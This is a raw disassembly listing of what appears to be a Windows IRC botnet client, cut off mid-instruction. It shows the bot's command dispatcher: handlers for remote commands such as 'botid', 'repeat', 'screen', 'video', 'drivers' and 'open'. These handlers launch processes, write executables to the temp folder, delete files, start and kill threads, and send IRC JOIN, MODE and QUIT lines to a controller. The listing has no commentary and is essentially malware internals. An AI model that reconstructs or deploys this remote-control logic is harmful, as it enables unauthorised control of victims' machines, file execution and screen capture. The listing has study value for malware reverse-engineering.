sub_407410 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_411079 loc_411063: ; CODE XREF: sub_40D2E0+3D97j cmp [ebp+var_560], ebx jnz loc_41327F push 32h call ds:dword_422054 ; Sleep jmp short loc_411063 ; --------------------------------------------------------------------------- loc_411079: ; CODE XREF: sub_40D2E0+3D81j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42C788 jmp loc_413270 ; --------------------------------------------------------------------------- loc_41108A: ; CODE XREF: sub_40D2E0+2577j ; sub_40D2E0+258Ej push 44h lea eax, [ebp+var_4A0] pop esi push esi push ebx push eax call sub_415500 push 1 mov [ebp+var_4A0], esi pop esi mov word ptr [ebp+var_470], bx push edi mov [ebp+var_474], esi call sub_4159EF add esp, 10h cmp eax, esi jnz short loc_4110C7 mov word ptr [ebp+var_470], 5 loc_4110C7: ; CODE XREF: sub_40D2E0+3DDCj cmp [ebp+var_C], ebx jz loc_411ED0 push [ebp+arg_18] push [ebp+var_C] call sub_415A50 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_411ED0 lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_4A0] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call ds:dword_422104 ; CreateProcessA test eax, eax jnz short loc_411112 push offset unk_42C754 jmp loc_411EC2 ; --------------------------------------------------------------------------- loc_411112: ; CODE XREF: sub_40D2E0+3E26j push edi push offset dword_42C72C jmp loc_40FCF6 ; --------------------------------------------------------------------------- loc_41111D: ; CODE XREF: sub_40D2E0+2549j ; sub_40D2E0+2560j push [ebp+arg_18] push offset aBotid ; "botid" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411297 lea eax, [ebp+var_3FC] push eax push 104h call ds:dword_42210C ; GetTempPathA push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_416D30 lea eax, [ebp+var_2F8] push eax call sub_413E62 add esp, 10h push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_680] push offset aSS_exe ; "%s%s.exe" push eax call sub_415480 mov eax, [ebp+esi+var_88] add esp, 10h cmp eax, ebx mov [ebp+var_57C], 1 mov [ebp+var_578], ebx jz short loc_4111B2 push 10h push ebx push eax call sub_416A80 add esp, 0Ch mov [ebp+var_570], eax jmp short loc_4111B8 ; --------------------------------------------------------------------------- loc_4111B2: ; CODE XREF: sub_40D2E0+3EBCj mov [ebp+var_570], ebx loc_4111B8: ; CODE XREF: sub_40D2E0+3ED0j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_4111D2 push esi call sub_4159EF pop ecx mov [ebp+var_574], eax jmp short loc_4111D8 ; --------------------------------------------------------------------------- loc_4111D2: ; CODE XREF: sub_40D2E0+3EE1j mov [ebp+var_574], ebx loc_4111D8: ; CODE XREF: sub_40D2E0+3EF0j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_416D30 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax push edi lea eax, [ebp+var_2DC] push offset unk_42C6E4 push eax call sub_415480 push esi lea eax, [ebp+var_2DC] push 17h push eax call sub_414F2C add esp, 18h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40B105 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_411286 loc_411270: ; CODE XREF: sub_40D2E0+3FA4j cmp [ebp+var_560], ebx jnz loc_411ED0 push 32h call ds:dword_422054 ; Sleep jmp short loc_411270 ; --------------------------------------------------------------------------- loc_411286: ; CODE XREF: sub_40D2E0+3F8Ej call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42C698 jmp loc_40FCF6 ; --------------------------------------------------------------------------- loc_411297: ; CODE XREF: sub_40D2E0+3E4Ej push offset unk_42C644 jmp loc_411EC2 ; --------------------------------------------------------------------------- loc_4112A1: ; CODE XREF: sub_40D2E0+251Bj ; sub_40D2E0+2532j push [ebp+var_90] push offset dword_42E464 call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_40D6A7 cmp [ebp+var_C], ebx jz loc_40D6A7 push [ebp+arg_18] push [ebp+var_C] call sub_415A50 pop ecx pop ecx push eax lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_42C634 push eax call sub_415480 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_416D30 push edi call sub_4159EF add esp, 28h test eax, eax jle short loc_41132A push edi call sub_4159EF imul eax, 3E8h pop ecx push eax call ds:dword_422054 ; Sleep loc_41132A: ; CODE XREF: sub_40D2E0+4034j push offset dword_42C610 call sub_40A5B3 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40D6AA ; --------------------------------------------------------------------------- loc_41133E: ; CODE XREF: sub_40D2E0+24EDj ; sub_40D2E0+2504j push [ebp+var_90] push offset dword_42E464 call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_40D6A7 cmp [ebp+var_C], ebx jz loc_4133B5 push [ebp+arg_18] push [ebp+var_C] call sub_415A50 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_4158A0 add esp, 10h test eax, eax push esi jz short loc_4113FD push [ebp+var_8C] lea eax, [ebp+var_2DC] push [ebp+var_90] push [ebp+var_94] push offset dword_42C634 push eax call sub_415480 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_416D30 add esp, 24h lea eax, [ebp+var_2DC] push esi push offset dword_42C5E0 push eax call sub_415480 lea eax, [ebp+var_2DC] push eax call sub_40A5B3 push edi call sub_4159EF add esp, 14h test eax, eax jle loc_4133B5 push edi call sub_4159EF add eax, [ebp+arg_24] pop ecx jmp loc_40D6AA ; --------------------------------------------------------------------------- loc_4113FD: ; CODE XREF: sub_40D2E0+40A3j push offset dword_42C59C jmp loc_40FCF6 ; --------------------------------------------------------------------------- loc_411407: ; CODE XREF: sub_40D2E0+24BFj ; sub_40D2E0+24D6j push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_42C594 push eax call sub_415480 push edi call sub_4159EF add esp, 10h loc_411424: ; CODE XREF: sub_40D2E0+41AEj test eax, eax jle loc_4133B5 push edi call sub_4159EF cmp eax, 400h pop ecx jge loc_4133B5 loc_41143E: ; CODE XREF: sub_40D2E0+4CBBj lea eax, [ebp+var_2DC] push eax push offset dword_42C58C push edi call sub_4159EF imul eax, 234h pop ecx push ds:dword_43BECC[eax] call sub_40BAA1 loc_411462: ; CODE XREF: sub_40D2E0+4469j ; sub_40D2E0+5D44j add esp, 0Ch jmp loc_4133B5 ; --------------------------------------------------------------------------- loc_41146A: ; CODE XREF: sub_40D2E0+2491j ; sub_40D2E0+24A8j push [ebp+esi+var_88] lea eax, [ebp+var_2DC] push [ebp+arg_18] push offset dword_42C580 push eax call sub_415480 push edi call sub_4159EF add esp, 14h jmp short loc_411424 ; --------------------------------------------------------------------------- loc_411490: ; CODE XREF: sub_40D2E0+2463j ; sub_40D2E0+247Aj push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_42C578 push eax call sub_415480 push edi call sub_4159EF add esp, 10h test eax, eax jle loc_4133B5 push edi call sub_4159EF cmp eax, 400h pop ecx jge loc_4133B5 lea eax, [ebp+var_2DC] push eax push offset dword_42C58C push edi call sub_4159EF imul eax, 234h pop ecx push ds:dword_43BECC[eax] call sub_40BAA1 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_42C54C jmp loc_411744 ; --------------------------------------------------------------------------- loc_4114FC: ; CODE XREF: sub_40D2E0+2435j ; sub_40D2E0+244Cj cmp [ebp+var_C], ebx jz loc_4133B5 push [ebp+arg_18] push [ebp+var_C] call sub_415A50 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_41152D push esi lea eax, [ebp+var_2DC] push offset dword_42C544 push eax call sub_415480 add esp, 0Ch loc_41152D: ; CODE XREF: sub_40D2E0+4236j push edi call sub_4159EF test eax, eax pop ecx jle loc_4133B5 push edi call sub_4159EF cmp eax, 400h pop ecx jge loc_4133B5 lea eax, [ebp+var_2DC] push eax push offset dword_42C58C push edi call sub_4159EF imul eax, 234h pop ecx push ds:dword_43BECC[eax] call sub_40BAA1 add esp, 0Ch push esi push edi push offset dword_42C518 jmp loc_411744 ; --------------------------------------------------------------------------- loc_411581: ; CODE XREF: sub_40D2E0+2407j ; sub_40D2E0+241Ej cmp [ebp+var_C], ebx jz loc_4133B5 push [ebp+arg_18] push [ebp+var_C] call sub_415A50 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_4133B5 push edi call sub_4159EF test eax, eax pop ecx jle loc_4133B5 push edi call sub_4159EF cmp eax, 400h pop ecx jge loc_4133B5 push esi push offset dword_42C58C push edi call sub_4159EF imul eax, 234h pop ecx push ds:dword_43BECC[eax] call sub_40BAA1 add esp, 0Ch push esi push edi push offset dword_42C4EC jmp loc_411744 ; --------------------------------------------------------------------------- loc_4115EF: ; CODE XREF: sub_40D2E0+23D9j ; sub_40D2E0+23F0j cmp [ebp+var_C], ebx jz loc_4133B5 push edi push [ebp+var_C] call sub_415A50 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_4133B5 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40BAA1 add esp, 0Ch push esi push offset dword_42C4B4 jmp loc_4133AE ; --------------------------------------------------------------------------- loc_411629: ; CODE XREF: sub_40D2E0+23ABj ; sub_40D2E0+23C2j push [ebp+var_90] push offset dword_42E464 call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_40D6A7 push [ebp+arg_18] push offset dword_42C4A8 push [ebp+arg_4] call sub_40BAA1 push edi call sub_4159EF imul eax, 3E8h add esp, 10h push eax call ds:dword_422054 ; Sleep push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40BAA1 push offset dword_42C484 call sub_40A5B3 add esp, 14h jmp loc_4133B5 ; --------------------------------------------------------------------------- loc_411692: ; CODE XREF: sub_40D2E0+237Dj ; sub_40D2E0+2394j cmp [ebp+var_C], ebx jz loc_4133B5 push edi call sub_415C80 push [ebp+arg_8] mov esi, eax call sub_415C80 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_415A50 mov esi, eax add esp, 10h cmp esi, ebx jz loc_4133B5 push esi lea eax, [ebp+var_2DC] push offset dword_42CCA8 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push ebx push eax push edi push [ebp+arg_4] call sub_40BAE7 add esp, 20h push esi push edi push offset dword_42C458 jmp short loc_411744 ; --------------------------------------------------------------------------- loc_4116F8: ; CODE XREF: sub_40D2E0+234Fj ; sub_40D2E0+2366j cmp [ebp+var_C], ebx jz loc_4133B5 push edi call sub_415C80 push [ebp+arg_8] mov esi, eax call sub_415C80 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_415A50 mov esi, eax add esp, 10h cmp esi, ebx jz loc_4133B5 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_40BAE7 add esp, 14h push esi push edi push offset dword_42C42C loc_411744: ; CODE XREF: sub_40D2E0+4217j ; sub_40D2E0+429Cj ... call sub_40A627 jmp loc_411462 ; --------------------------------------------------------------------------- loc_41174E: ; CODE XREF: sub_40D2E0+2321j ; sub_40D2E0+2338j cmp [ebp+var_C], ebx jz loc_40D6A7 push [ebp+arg_18] push [ebp+var_C] call sub_415A50 pop ecx cmp eax, ebx pop ecx jz loc_40D6A7 push eax push edi call sub_40A4BB pop ecx pop ecx push edi push offset dword_42C400 jmp loc_41206B ; --------------------------------------------------------------------------- loc_411780: ; CODE XREF: sub_40D2E0+22E1j ; sub_40D2E0+22F8j push edi push [ebp+arg_1C] call sub_415A50 pop ecx test eax, eax pop ecx jz loc_4133B5 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz loc_411824 push esi push [ebp+var_C] call sub_415A50 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_41180C push esi lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_42C634 push eax call sub_415480 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_416D30 add esp, 24h lea eax, [ebp+var_2DC] push esi push edi push offset dword_42C3CC push eax call sub_415480 add esp, 10h inc [ebp+arg_24] jmp loc_412F31 ; --------------------------------------------------------------------------- loc_41180C: ; CODE XREF: sub_40D2E0+44D1j lea eax, [ebp+var_2DC] push offset dword_42C38C push eax call sub_415480 pop ecx pop ecx jmp loc_412F31 ; --------------------------------------------------------------------------- loc_411824: ; CODE XREF: sub_40D2E0+44BCj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40A1D2 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 14h lea eax, [ebp+var_2DC] push edi push offset dword_42C364 push 200h push eax call sub_4159FA add esp, 10h jmp loc_412F31 ; --------------------------------------------------------------------------- loc_41186E: ; CODE XREF: sub_40D2E0+22B3j ; sub_40D2E0+22CAj push offset aScreen ; "screen" push edi call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_4118D1 cmp [ebp+esi+var_8C], ebx jz short loc_4118BE push [ebp+esi+var_8C] call sub_406BF9 cmp eax, 1 pop ecx jnz short loc_4118B7 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_42C320 push eax call sub_415480 add esp, 0Ch jmp short loc_4118D1 ; --------------------------------------------------------------------------- loc_4118B7: ; CODE XREF: sub_40D2E0+45B8j push offset dword_42C2E4 jmp short loc_4118C3 ; --------------------------------------------------------------------------- loc_4118BE: ; CODE XREF: sub_40D2E0+45A6j push offset dword_42C29C loc_4118C3: ; CODE XREF: sub_40D2E0+45DCj lea eax, [ebp+var_2DC] push eax call sub_415480 pop ecx pop ecx loc_4118D1: ; CODE XREF: sub_40D2E0+459Dj ; sub_40D2E0+45D5j push offset aDrivers ; "drivers" push edi call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_411968 mov [ebp+arg_0], ebx loc_4118E9: ; CODE XREF: sub_40D2E0+4673j lea eax, [ebp+var_75C] push 1FFh push eax lea eax, [ebp+var_3F8] push 0FFh push eax push [ebp+arg_0] call ds:dword_436498 test eax, eax jz short loc_41194C lea eax, [ebp+var_75C] push eax lea eax, [ebp+var_3F8] push eax lea eax, [ebp+var_15B0] push [ebp+arg_0] push offset dword_42C260 push eax call sub_415480 push ebx lea eax, [ebp+var_15B0] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 28h loc_41194C: ; CODE XREF: sub_40D2E0+462Cj inc [ebp+arg_0] cmp [ebp+arg_0], 0Ah jl short loc_4118E9 lea eax, [ebp+var_2DC] push offset dword_42C22C push eax call sub_415480 pop ecx pop ecx loc_411968: ; CODE XREF: sub_40D2E0+4600j push offset aFrame ; "frame" push edi call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_411A0E cmp [ebp+esi+var_8C], ebx jz short loc_4119FB cmp [ebp+esi+var_88], ebx jz short loc_4119FB cmp [ebp+esi+var_84], ebx jz short loc_4119FB mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_4119FB push eax call sub_4159EF pop ecx push eax push [ebp+esi+var_84] call sub_4159EF pop ecx push eax push [ebp+esi+var_88] call sub_4159EF pop ecx push eax push [ebp+esi+var_8C] call sub_406E34 add esp, 10h test eax, eax jnz short loc_4119F4 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_42C1E8 push eax call sub_415480 add esp, 0Ch jmp short loc_411A0E ; --------------------------------------------------------------------------- loc_4119F4: ; CODE XREF: sub_40D2E0+46F5j push offset dword_42C1A4 jmp short loc_411A00 ; --------------------------------------------------------------------------- loc_4119FB: ; CODE XREF: sub_40D2E0+46A4j ; sub_40D2E0+46ADj ... push offset dword_42C15C loc_411A00: ; CODE XREF: sub_40D2E0+4719j lea eax, [ebp+var_2DC] push eax call sub_415480 pop ecx pop ecx loc_411A0E: ; CODE XREF: sub_40D2E0+4697j ; sub_40D2E0+4712j push offset aVideo ; "video" push edi call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_411ED0 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_411AA7 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_411AA7 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz short loc_411AA7 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_411AA7 mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_411AA7 push esi call sub_4159EF pop ecx push eax push edi call sub_4159EF pop ecx push eax push [ebp+arg_10] call sub_4159EF pop ecx push eax push [ebp+arg_0] call sub_4159EF pop ecx push eax push [ebp+arg_18] call sub_40702D add esp, 14h test eax, eax jnz short loc_411A9D push [ebp+arg_18] push offset dword_42C118 jmp loc_40FCF6 ; --------------------------------------------------------------------------- loc_411A9D: ; CODE XREF: sub_40D2E0+47AEj push offset dword_42C0C8 jmp loc_411EC2 ; --------------------------------------------------------------------------- loc_411AA7: ; CODE XREF: sub_40D2E0+474Fj ; sub_40D2E0+475Dj ... push offset dword_42C07C jmp loc_411EC2 ; --------------------------------------------------------------------------- loc_411AB1: ; CODE XREF: sub_40D2E0+1CF0j ; sub_40D2E0+1D07j push offset aR ; "r" push edi call sub_415B78 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_411B2C mov ebx, 200h push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41712C add esp, 0Ch loc_411ADA: ; CODE XREF: sub_40D2E0+4829j test eax, eax jz short loc_411B0B push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41712C add esp, 20h jmp short loc_411ADA ; --------------------------------------------------------------------------- loc_411B0B: ; CODE XREF: sub_40D2E0+47FCj push esi call sub_415AD0 pop ecx lea eax, [ebp+var_2DC] push edi push offset dword_42C048 push eax call sub_415480 add esp, 0Ch jmp loc_40F56B ; --------------------------------------------------------------------------- loc_411B2C: ; CODE XREF: sub_40D2E0+47E2j push edi push offset dword_42C018 jmp loc_40F51F ; --------------------------------------------------------------------------- loc_411B37: ; CODE XREF: sub_40D2E0+1CC2j ; sub_40D2E0+1CD9j cmp [ebp+var_C], ebx jz loc_4133B5 push edi push [ebp+var_C] call sub_415A50 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_4133B5 push offset asc_425FD0 ; "\n" push esi call sub_415BA0 push esi call sub_40999E add esp, 0Ch test eax, eax jnz short loc_411B77 push offset dword_42BFDC jmp loc_411EC2 ; --------------------------------------------------------------------------- loc_411B77: ; CODE XREF: sub_40D2E0+488Bj push esi push offset dword_42BFB4 jmp loc_412F22 ; --------------------------------------------------------------------------- loc_411B82: ; CODE XREF: sub_40D2E0+1C94j ; sub_40D2E0+1CABj cmp [ebp+var_C], ebx jz loc_4133B5 push edi push [ebp+var_C] call sub_415A50 pop ecx cmp eax, ebx pop ecx jz loc_4133B5 push eax call sub_409140 test eax, eax pop ecx jnz short loc_411BB3 push offset unk_42BF88 jmp loc_411EC2 ; --------------------------------------------------------------------------- loc_411BB3: ; CODE XREF: sub_40D2E0+48C7j push offset dword_42BF5C jmp loc_411EC2 ; --------------------------------------------------------------------------- loc_411BBD: ; CODE XREF: sub_40D2E0+1C66j ; sub_40D2E0+1C7Dj push 7Fh lea eax, [ebp+var_6EC] push edi push eax call sub_416D30 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_411BEC push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_416D30 add esp, 0Ch loc_411BEC: ; CODE XREF: sub_40D2E0+48F8j push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_416D30 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_6F0], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax mov eax, [ebp+var_4] mov [ebp+var_564], eax push edi lea eax, [ebp+var_2DC] push offset dword_42BF34 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 15h push eax call sub_414F2C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F0] push ebx push eax push offset sub_40A291 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_411C8D loc_411C77: ; CODE XREF: sub_40D2E0+49ABj cmp [ebp+var_560], ebx jnz loc_412F31 push 32h call ds:dword_422054 ; Sleep jmp short loc_411C77 ; --------------------------------------------------------------------------- loc_411C8D: ; CODE XREF: sub_40D2E0+4995j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42BEE8 jmp loc_412F22 ; --------------------------------------------------------------------------- loc_411C9E: ; CODE XREF: sub_40D2E0+1C38j ; sub_40D2E0+1C4Fj push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_4049CD add esp, 10h push edi push offset dword_42BEC4 jmp loc_4133AE ; --------------------------------------------------------------------------- loc_411CBC: ; CODE XREF: sub_40D2E0+1C0Aj ; sub_40D2E0+1C21j push 14h lea eax, [ebp+var_708] push ebx push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_6F4] push edi push offset aS_2 ; "%s" push eax call sub_415480 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_710], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_5F0] push 80h push eax call sub_4159FA mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_42BE90 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_414F2C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40AB26 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_411D95 loc_411D7F: ; CODE XREF: sub_40D2E0+4AB3j cmp [ebp+var_560], ebx jnz loc_41327F push 32h call ds:dword_422054 ; Sleep jmp short loc_411D7F ; --------------------------------------------------------------------------- loc_411D95: ; CODE XREF: sub_40D2E0+4A9Dj call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42E36C jmp loc_413270 ; --------------------------------------------------------------------------- loc_411DA6: ; CODE XREF: sub_40D2E0+1BDCj ; sub_40D2E0+1BF3j push edi call ds:dword_42213C ; DeleteFileA test eax, eax jz short loc_411DD0 push edi push offset dword_42BE64 lea eax, [ebp+var_2DC] push 200h push eax call sub_4159FA add esp, 10h jmp loc_40F54A ; --------------------------------------------------------------------------- loc_411DD0: ; CODE XREF: sub_40D2E0+4ACFj push offset dword_42C814 call sub_40907B pop ecx push eax jmp loc_4129D2 ; --------------------------------------------------------------------------- loc_411DE1: ; CODE XREF: sub_40D2E0+1BAEj ; sub_40D2E0+1BC5j push edi call sub_4159EF push eax call sub_413887 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_411DFE push offset unk_42BE2C jmp short loc_411E03 ; --------------------------------------------------------------------------- loc_411DFE: ; CODE XREF: sub_40D2E0+4B15j push offset unk_42BDE8 loc_411E03: ; CODE XREF: sub_40D2E0+4B1Cj lea eax, [ebp+var_2DC] push eax call sub_415480 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_40F56E push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 14h jmp loc_40F56E ; --------------------------------------------------------------------------- loc_411E3C: ; CODE XREF: sub_40D2E0+1B80j ; sub_40D2E0+1B97j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4135F8 add esp, 18h cmp eax, 1 push edi jnz short loc_411E5E push offset unk_42BDB4 jmp loc_40F51F ; --------------------------------------------------------------------------- loc_411E5E: ; CODE XREF: sub_40D2E0+4B72j push offset unk_42BD74 jmp loc_40F51F ; --------------------------------------------------------------------------- loc_411E68: ; CODE XREF: sub_40D2E0+1B52j ; sub_40D2E0+1B69j push edi call ds:dword_4364A8 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_411EA2 push 2 lea eax, [ebp+arg_0] push 4 push eax call ds:dword_436420 ; gethostbyaddr cmp eax, ebx jz short loc_411EBD push dword ptr [eax] loc_411E8B: ; CODE XREF: sub_40D2E0+4BDBj push edi lea eax, [ebp+var_2DC] push offset dword_42BD48 push eax call sub_415480 add esp, 10h jmp short loc_411ED0 ; --------------------------------------------------------------------------- loc_411EA2: ; CODE XREF: sub_40D2E0+4B95j push edi call ds:dword_4364EC ; gethostbyname cmp eax, ebx jz short loc_411EBD mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call ds:dword_4364F4 ; inet_ntoa push eax jmp short loc_411E8B ; --------------------------------------------------------------------------- loc_411EBD: ; CODE XREF: sub_40D2E0+4BA7j ; sub_40D2E0+4BCBj push offset dword_42BD10 loc_411EC2: ; CODE XREF: sub_40D2E0+3E2Dj ; sub_40D2E0+3FBCj ... lea eax, [ebp+var_2DC] push eax call sub_415480 pop ecx pop ecx loc_411ED0: ; CODE XREF: sub_40D2E0+2A25j ; sub_40D2E0+3B35j ... cmp [ebp+var_8], ebx jnz loc_412F31 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 14h jmp loc_412F31 ; --------------------------------------------------------------------------- loc_411EFA: ; CODE XREF: sub_40D2E0+1B24j ; sub_40D2E0+1B3Bj push 7Fh push edi push [ebp+arg_14] call sub_416D30 add esp, 0Ch push edi push offset dword_42BCDC jmp loc_40F2B6 ; --------------------------------------------------------------------------- loc_411F13: ; CODE XREF: sub_40D2E0+1AF6j ; sub_40D2E0+1B0Dj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call ds:dword_4363DC test eax, eax push edi jz short loc_411F33 push offset unk_42BCA0 jmp loc_40F51F ; --------------------------------------------------------------------------- loc_411F33: ; CODE XREF: sub_40D2E0+4C47j push offset unk_42BC5C jmp loc_40F51F ; --------------------------------------------------------------------------- loc_411F3D: ; CODE XREF: sub_40D2E0+1AC8j ; sub_40D2E0+1ADFj mov al, [edi] mov ds:byte_42ACDC, al movsx eax, byte ptr [edi] push eax push offset dword_42BC28 jmp loc_40F2B6 ; --------------------------------------------------------------------------- loc_411F52: ; CODE XREF: sub_40D2E0+1A9Aj ; sub_40D2E0+1AB1j push edi call sub_4159EF test eax, eax pop ecx jle loc_4133B5 push edi call sub_4159EF cmp eax, 400h pop ecx jge loc_4133B5 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_41416F add esp, 10h push eax lea eax, [ebp+var_2DC] push offset dword_42C578 push eax call sub_415480 add esp, 0Ch jmp loc_41143E ; --------------------------------------------------------------------------- loc_411FA0: ; CODE XREF: sub_40D2E0+1A6Cj ; sub_40D2E0+1A83j push edi call sub_4159EF test eax, eax pop ecx jle loc_40D6A7 push edi call sub_4159EF cmp eax, 400h pop ecx jge loc_40D6A7 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_4159EF imul eax, 234h pop ecx push ds:dword_43BECC[eax] call sub_40BAA1 pop ecx pop ecx push 1F4h call ds:dword_422054 ; Sleep push edi call sub_4159EF imul eax, 234h pop ecx push ds:dword_43BECC[eax] call ds:dword_436500 ; closesocket push [ebp+var_10] push edi call sub_4159EF imul eax, 234h pop ecx push ds:dword_43BED4[eax] call ds:dword_422150 ; TerminateThread push edi call sub_4159EF imul eax, 234h push edi mov ds:dword_43BED4[eax], ebx call sub_4159EF imul eax, 234h pop ecx pop ecx mov byte ptr ds:dword_43BCC0[eax], bl jmp loc_40D6A7 ; --------------------------------------------------------------------------- loc_41204B: ; CODE XREF: sub_40D2E0+1A3Ej ; sub_40D2E0+1A55j push edi push offset aAll ; "all" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_412089 call sub_4150F5 cmp eax, ebx jle short loc_41207F push eax push offset dword_42BBDC loc_41206B: ; CODE XREF: sub_40D2E0+15E2j ; sub_40D2E0+2A8Fj ... lea eax, [ebp+var_2DC] push eax call sub_415480 loc_412077: ; CODE XREF: sub_40D2E0+3CA4j add esp, 0Ch jmp loc_412A7A ; --------------------------------------------------------------------------- loc_41207F: ; CODE XREF: sub_40D2E0+4D83j push offset dword_42BBA4 jmp loc_412A6C ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_40D2E0+4D7Aj mov eax, [ebp+var_C0] lea edi, [eax+1] cmp edi, 20h jnb loc_40D6A7 lea eax, [ebp+edi*4+var_94] mov [ebp+arg_24], eax loc_4120A5: ; CODE XREF: sub_40D2E0+4E36j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40D6A7 push esi call 